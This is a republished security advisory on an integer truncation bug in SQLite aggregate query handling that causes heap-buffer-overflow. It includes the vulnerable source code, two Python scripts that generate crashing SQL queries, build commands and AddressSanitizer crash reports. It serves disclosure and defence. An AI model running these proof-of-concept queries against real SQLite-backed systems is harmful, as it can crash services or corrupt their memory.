SQLite: Integer truncation in findOrCreateAggInfoColumn
SQLite在处理包含大量不同列引用的聚合查询时存在整数截断漏洞。当列数超过32767时,索引从32位整数截断为16位有符号整数,导致负值和内存溢出或断言失败。该漏洞可被利用以实现远程代码执行。修复已于2025年6月30日完成。 2025-8-24 23:59:40 Author: github.com(查看原文) 阅读量:0 收藏

Summary

An integer truncation vulnerability exists in SQLite's handling of aggregate queries with a very large number of distinct column references. When the number of columns processed in an aggregate context exceeds 32,767, the index used to track these columns is truncated from a 32-bit integer to a signed 16-bit integer, resulting in a negative value

Severity

High - The exploitation of this vulnerability can lead to remote code execution and potential for significant damage.

Proof of Concept

Vulnerability Details

An integer truncation vulnerability exists in SQLite's handling of aggregate queries with a very large number of distinct column references. When the number of columns processed in an aggregate context exceeds 32,767, the index used to track these columns is truncated from a 32-bit integer to a signed 16-bit integer, resulting in a negative value [1].

In debug builds, this invalid value leads to assertion failures [2][4]. In non-debug builds, the corrupted index is later used to access an array, leading to a heap-buffer-overflow. In sqlite3ExprCodeTarget, the out-of-bounds values are used to construct a potentially invalid VDBE instruction. In agginfoPersistExprCb, the out-of-bounds index read from an array [5] is followed by an out-of-bounds write to the same index [6], leading to memory corruption.

static void findOrCreateAggInfoColumn(
  Parse *pParse,       /* Parsing context */
  AggInfo *pAggInfo,   /* The AggInfo object to search and/or modify */
  Expr *pExpr          /* Expr describing the column to find or insert */
) {
  struct AggInfo_col *pCol;
  int k;
[...]
  k = addAggInfoColumn(pParse->db, pAggInfo);
  if( k<0 ){
    /* OOM on resize */
    assert( pParse->db->mallocFailed );
    return;
  }
[...]
  pExpr->iAgg = (i16)k; // *** 1 ***
}


static int addAggInfoColumn(sqlite3 *db, AggInfo *pInfo){
  int i;
  pInfo->aCol = sqlite3ArrayAllocate(
       db,
       pInfo->aCol,
       sizeof(pInfo->aCol[0]),
       &pInfo->nColumn,
       &i
  );
  return i;
}


SQLITE_PRIVATE int sqlite3ExprCodeTarget(Parse *pParse, Expr *pExpr, int target){
[...]
  switch( op ){
    case TK_AGG_COLUMN: {
      AggInfo *pAggInfo = pExpr->pAggInfo;
      struct AggInfo_col *pCol;
      assert( pAggInfo!=0 );
      assert( pExpr->iAgg>=0 ); // *** 2 ***
[...]
      pCol = &pAggInfo->aCol[pExpr->iAgg];
      if( !pAggInfo->directMode ){
        return AggInfoColumnReg(pAggInfo, pExpr->iAgg);
      }else if( pAggInfo->useSortingIdx ){
        Table *pTab = pCol->pTab;
        sqlite3VdbeAddOp3(v, OP_Column, pAggInfo->sortingIdxPTab,
                              pCol->iSorterColumn, target); // *** 3 ***
[...]
}


static int agginfoPersistExprCb(Walker *pWalker, Expr *pExpr){
  if( ALWAYS(!ExprHasProperty(pExpr, EP_TokenOnly|EP_Reduced))
   && pExpr->pAggInfo!=0
  ){
    AggInfo *pAggInfo = pExpr->pAggInfo;
    int iAgg = pExpr->iAgg;
    Parse *pParse = pWalker->pParse;
    sqlite3 *db = pParse->db;
    assert( iAgg>=0 ); // *** 4 ***
    if( pExpr->op!=TK_AGG_FUNCTION ){
      if( iAgg<pAggInfo->nColumn
       && pAggInfo->aCol[iAgg].pCExpr==pExpr // *** 5 ***
      ){
        pExpr = sqlite3ExprDup(db, pExpr, 0);
        if( pExpr && !sqlite3ExprDeferredDelete(pParse, pExpr) ){
          pAggInfo->aCol[iAgg].pCExpr = pExpr; // *** 6 ***
        }
      }
[...]
}

Further Analysis

The first reproduction case triggers an out-of-bounds access in sqlite3ExprCodeTarget:

import math


REQUIRED_REFS = 65535
COLS_PER_TABLE = 2000
GROUP_SIZE = 500


# Calculate how many times the table must be aliased.
NUM_ALIASES = math.ceil(REQUIRED_REFS / COLS_PER_TABLE)


# 1. Create a single wide table.
create_table_sql = f"CREATE TABLE w({', '.join(f'c{i} INT' for i in range(COLS_PER_TABLE))});"
insert_sql = "INSERT INTO w DEFAULT VALUES;"


# 2. Build the FROM clause with self-joins to create distinct namespaces.
from_clause = f"FROM {', '.join(f'w AS t{i}' for i in range(NUM_ALIASES))}"


# 3. Generate all required predicates.
predicates = [
    f"t{i // COLS_PER_TABLE}.c{i % COLS_PER_TABLE} IS NOT NULL"
    for i in range(REQUIRED_REFS)
]


# 4. Build a large HAVING clause with the first 32,768+ column references.
#    Group the predicates to avoid exceeding the expression-depth limit.
grouped_predicates = [
    f"({' AND '.join(predicates[i:i + GROUP_SIZE])})"
    for i in range(0, len(predicates), GROUP_SIZE)
]


having_clause = "HAVING " + " AND ".join(grouped_predicates)


# 5. Assemble the final query.
final_sql = f"SELECT 1 {from_clause} GROUP BY t0.c0 {having_clause};"


print(create_table_sql)
print(insert_sql)
print(final_sql)

The second reproduction case triggers the issue in agginfoPersistExprCb:

import math


REQUIRED_REFS = 65535
COLS_PER_TABLE = 2000


# Calculate how many times the table must be aliased.
NUM_ALIASES = math.ceil(REQUIRED_REFS / COLS_PER_TABLE)


# 1. Create a single wide table.
create_table_sql = f"CREATE TABLE w({', '.join(f'c{i} INT' for i in range(COLS_PER_TABLE))});"
insert_sql = "INSERT INTO w DEFAULT VALUES;"


# 2. Build the FROM clause, joining the table to itself to create distinct namespaces.
from_clause = f"FROM {', '.join(f'w AS t{i}' for i in range(NUM_ALIASES))}"


# 3. Build a large CASE expression to reference over 32k distinct columns.
case_whens = []
for i in range(REQUIRED_REFS):
    alias = f"t{i // COLS_PER_TABLE}"
    column = f"c{i % COLS_PER_TABLE}"
   
    # 4. Force `sqlite3WindowRewrite` for the last column reference.
    then_expression = (
        f"(SELECT SUM({alias}.{column}) OVER (ORDER BY 1))"
        if i == REQUIRED_REFS - 1
        else f"{alias}.{column}"
    )
    case_whens.append(f"WHEN {i} THEN {then_expression}")


case_expression = f"CASE\n{' '.join(case_whens)}\nEND"


# 5. Assemble the final query.
final_sql = f"SELECT COUNT({case_expression}) {from_clause};"


print(create_table_sql)
print(insert_sql)
print(final_sql)

To reproduce the assertion failure, build SQLite with debug options and ASan enabled.

CFLAGS="-fsanitize=address -g" ./configure --enable-debug && \
make -j$(nproc)
python3 repro.py | ASAN_OPTIONS=handle_abort=1 ./sqlite3

ASAN report

Assertion failure:

==4128722==ERROR: AddressSanitizer: ABRT on unknown address 0x9bf20003effd2 (pc 0x7f81d649e95c bp 0x000000001000 sp 0x7fff86d362a0 T0)
    #0 0x7f81d649e95c in __pthread_kill_implementation nptl/pthread_kill.c:44
    #1 0x7f81d6449cc1 in __GI_raise ../sysdeps/posix/raise.c:26
    #2 0x7f81d64324ab in __GI_abort stdlib/abort.c:73
    #3 0x7f81d643241f in __assert_fail_base assert/assert.c:118
    #4 0x55f75bd14c6f in sqlite3ExprCodeTarget sqlite/sqlite3.c:115264
    #5 0x55f75bd1b80e in sqlite3ExprCode sqlite/sqlite3.c:116144
    #6 0x55f75bdd9489 in updateAccumulator sqlite/sqlite3.c:152015
    #7 0x55f75bde4eb2 in sqlite3Select sqlite/sqlite3.c:153521
    #8 0x55f75be7110f in yy_reduce sqlite/sqlite3.c:179393
    #9 0x55f75be7f586 in sqlite3Parser sqlite/sqlite3.c:180848
    #10 0x55f75be8525c in sqlite3RunParser sqlite/sqlite3.c:182189
    #11 0x55f75bdaacdd in sqlite3Prepare sqlite/sqlite3.c:144662
    #12 0x55f75bdab537 in sqlite3LockAndPrepare sqlite/sqlite3.c:144737
    #13 0x55f75bdabc73 in sqlite3_prepare_v2 sqlite/sqlite3.c:144824
    #14 0x55f75bb384da in shell_exec sqlite/shell.c:24753
    #15 0x55f75bb69e8c in runOneSqlLine sqlite/shell.c:32622
    #16 0x55f75bb6ad71 in process_input sqlite/shell.c:32793
    #17 0x55f75bb6f321 in main sqlite/shell.c:33775
    #18 0x7f81d6433ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #19 0x7f81d6433d64 in __libc_start_main_impl ../csu/libc-start.c:360
    #20 0x55f75bac6950 in _start (sqlite/sqlite3+0xf1950) (BuildId: 02f29908f945e8a9b54679d25a4ba5af043dad4a)

Heap-buffer-overflow in agginfoPersistExprCb:

==547538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f6291ee87e0 at pc 0x55e9aef40da2 bp 0x7fffd9df35a0 sp 0x7fffd9df3598
READ of size 8 at 0x7f6291ee87e0 thread T0
    #0 0x55e9aef40da1 in agginfoPersistExprCb sqlite/sqlite3.c:117246
    #1 0x55e9aef1239d in sqlite3WalkExprNN sqlite/sqlite3.c:107810
    #2 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
    #3 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
    #4 0x55e9aef1257c in sqlite3WalkExprNN sqlite/sqlite3.c:107826
    #5 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
    #6 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
    #7 0x55e9aef12775 in sqlite3WalkSelectExpr sqlite/sqlite3.c:107875
    #8 0x55e9aef12d1f in sqlite3WalkSelect sqlite/sqlite3.c:107954
    #9 0x55e9af03cf7d in sqlite3WindowRewrite sqlite/sqlite3.c:173042
    #10 0x55e9aefd6607 in sqlite3Select sqlite/sqlite3.c:152300
    #11 0x55e9aef318d8 in sqlite3CodeSubselect sqlite/sqlite3.c:114149
    #12 0x55e9aef389b1 in sqlite3ExprCodeTarget sqlite/sqlite3.c:115539
    #13 0x55e9aef3a8f0 in sqlite3ExprCode sqlite/sqlite3.c:115945
    #14 0x55e9aef39bb5 in sqlite3ExprCodeTarget sqlite/sqlite3.c:115785
    #15 0x55e9aef3ad85 in sqlite3ExprCodeExprList sqlite/sqlite3.c:116043
    #16 0x55e9aefd3826 in updateAccumulator sqlite/sqlite3.c:151748
    #17 0x55e9aefddf23 in sqlite3Select sqlite/sqlite3.c:153494
    #18 0x55e9af04c9d3 in yy_reduce sqlite/sqlite3.c:179158
    #19 0x55e9af0593f8 in sqlite3Parser sqlite/sqlite3.c:180613
    #20 0x55e9af05d5f2 in sqlite3RunParser sqlite/sqlite3.c:181954
    #21 0x55e9aefb04ec in sqlite3Prepare sqlite/sqlite3.c:144460
    #22 0x55e9aefb0be5 in sqlite3LockAndPrepare sqlite/sqlite3.c:144535
    #23 0x55e9aefb0fd9 in sqlite3_prepare_v2 sqlite/sqlite3.c:144622
    #24 0x55e9aeddfdad in shell_exec sqlite/shell.c:24854
    #25 0x55e9aee1009d in runOneSqlLine sqlite/shell.c:32679
    #26 0x55e9aee10f47 in process_input sqlite/shell.c:32850
    #27 0x55e9aee15391 in main sqlite/shell.c:33832
    #28 0x7f6295e33ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #29 0x7f6295e33d64 in __libc_start_main_impl ../csu/libc-start.c:360
    #30 0x55e9aed71900 in _start (sqlite/sqlite3+0x5c900) (BuildId: 674a2835862188c5687680a5e0a9307a65e5cc76)


0x7f6291ee87e0 is located 32 bytes before 1572872-byte region [0x7f6291ee8800,0x7f6292068808)
allocated by thread T0 here:
    #0 0x7f62960f3b58 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x55e9aee23bd3 in sqlite3MemRealloc sqlite/sqlite3.c:27349
    #2 0x55e9aee2581f in sqlite3Realloc sqlite/sqlite3.c:31286
    #3 0x55e9aee2614b in dbReallocFinish sqlite/sqlite3.c:31477
    #4 0x55e9aee2605f in sqlite3DbRealloc sqlite/sqlite3.c:31460
    #5 0x55e9aef7159c in sqlite3ArrayAllocate sqlite/sqlite3.c:127604
    #6 0x55e9aef4113a in addAggInfoColumn sqlite/sqlite3.c:117285
    #7 0x55e9aef415a3 in findOrCreateAggInfoColumn sqlite/sqlite3.c:117337
    #8 0x55e9aef425ca in analyzeAggregate sqlite/sqlite3.c:117444
    #9 0x55e9aef1239d in sqlite3WalkExprNN sqlite/sqlite3.c:107810
    #10 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
    #11 0x55e9aef126f9 in sqlite3WalkExprList sqlite/sqlite3.c:107852
    #12 0x55e9aef1257c in sqlite3WalkExprNN sqlite/sqlite3.c:107826
    #13 0x55e9aef12658 in sqlite3WalkExpr sqlite/sqlite3.c:107840
    #14 0x55e9aef433d4 in sqlite3ExprAnalyzeAggregates sqlite/sqlite3.c:117549
    #15 0x55e9aef4348e in sqlite3ExprAnalyzeAggList sqlite/sqlite3.c:117563
    #16 0x55e9aefd130b in analyzeAggFuncArgs sqlite/sqlite3.c:151378
    #17 0x55e9aefdb6dd in sqlite3Select sqlite/sqlite3.c:153054
    #18 0x55e9af04c9d3 in yy_reduce sqlite/sqlite3.c:179158
    #19 0x55e9af0593f8 in sqlite3Parser sqlite/sqlite3.c:180613
    #20 0x55e9af05d5f2 in sqlite3RunParser sqlite/sqlite3.c:181954
    #21 0x55e9aefb04ec in sqlite3Prepare sqlite/sqlite3.c:144460
    #22 0x55e9aefb0be5 in sqlite3LockAndPrepare sqlite/sqlite3.c:144535
    #23 0x55e9aefb0fd9 in sqlite3_prepare_v2 sqlite/sqlite3.c:144622
    #24 0x55e9aeddfdad in shell_exec sqlite/shell.c:24854
    #25 0x55e9aee1009d in runOneSqlLine sqlite/shell.c:32679
    #26 0x55e9aee10f47 in process_input sqlite/shell.c:32850
    #27 0x55e9aee15391 in main sqlite/shell.c:33832
    #28 0x7f6295e33ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58


SUMMARY: AddressSanitizer: heap-buffer-overflow sqlite/sqlite3.c:117246 in agginfoPersistExprCb
Shadow bytes around the buggy address:
  0x7f6291ee8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f6291ee8580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f6291ee8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f6291ee8680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f6291ee8700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x7f6291ee8780: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
  0x7f6291ee8800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f6291ee8880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f6291ee8900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f6291ee8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f6291ee8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==547538==ABORTING

Timeline

Date reported: 2025-06-28
Date fixed: 2025-06-30
Date disclosed: 2025-08-25


文章来源: https://github.com/google/security-research/security/advisories/GHSA-qj7j-3jp8-8ccv
如有侵权请联系:admin#unsafe.sh